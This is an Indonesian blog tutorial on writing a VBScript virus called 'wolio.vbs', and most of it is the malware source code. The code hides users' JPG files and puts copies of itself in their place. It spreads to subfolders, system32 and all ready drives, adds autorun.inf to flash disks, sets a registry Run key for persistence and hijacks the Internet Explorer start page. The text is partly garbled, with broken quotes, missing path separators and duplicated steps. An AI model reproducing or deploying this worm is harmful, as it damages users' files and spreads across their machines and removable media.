Cara Membuat Virus Menggunakan Visual Basic (VB)
Oleh
chmood
Β Β Β Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,β.β)) & βjpegβ)
set fbackup = fso.GetFile(Left(target,instrrev(target,β.β)) & βjpegβ)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,β.β)) & βjpg β & β.vbsβ)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=βjpgβ) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(βScripting.FileSystemObjectβ)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & ββ & βwolio.vbsβ)
If drive.DriveType = 1 And drive.DriveLetter > βC:β Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & ββ & βautorun.infβ,False)
fileautorun.WriteLine(β[AUTORUN]β)
fileautorun.WriteLine(βRUN=wolio.vbsβ)
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(βHKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Pageβ)<>βc:\windows\system32\wolio.htmlβ) Then
regedit.RegWrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Pageβ,βc:\windows\system32\wolio.htmlβ
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
Sub buat_html()
set filehtml = fso.CreateTextFile(βc:windowssystem32wolio.htmlβ,True)
filehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
β)
filehtml.WriteLine(βWelcome to Wolioβ)
filehtml.WriteLine(βfilehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
filehtml.WriteLine(βSelamat Datang di Wolio VBS β)
filehtml.WriteLine(ββ)
filehtml.WriteLine(ββ)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & βwolio.vbsβ)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(βScripting.FileSystemObjectβ)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(βWScript.Shellβ)
myfolder = Left(fsource,InStrRev(fsource,ββ))
β Copy-kan diri ke βc:windowssystem32β³
fsource.Copy(βc:windowssystem32wolio.vbsβ)
β Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
β Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
β Regitry
if
(regedit.RegRead(βHKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolioβ)<>βc:\windows\system32\wolio.vbsβ) Then
regedit.RegWrite
βHKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolioβ,βc:\windows\system32\wolio.vbsβ
End If
β Copy-kan diri ke semua drive aktif
serangan_drive()
β Buat file wolio.html
buat_html()
β Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang βKONYOLβ, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b lΒ o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain yaΒ
Category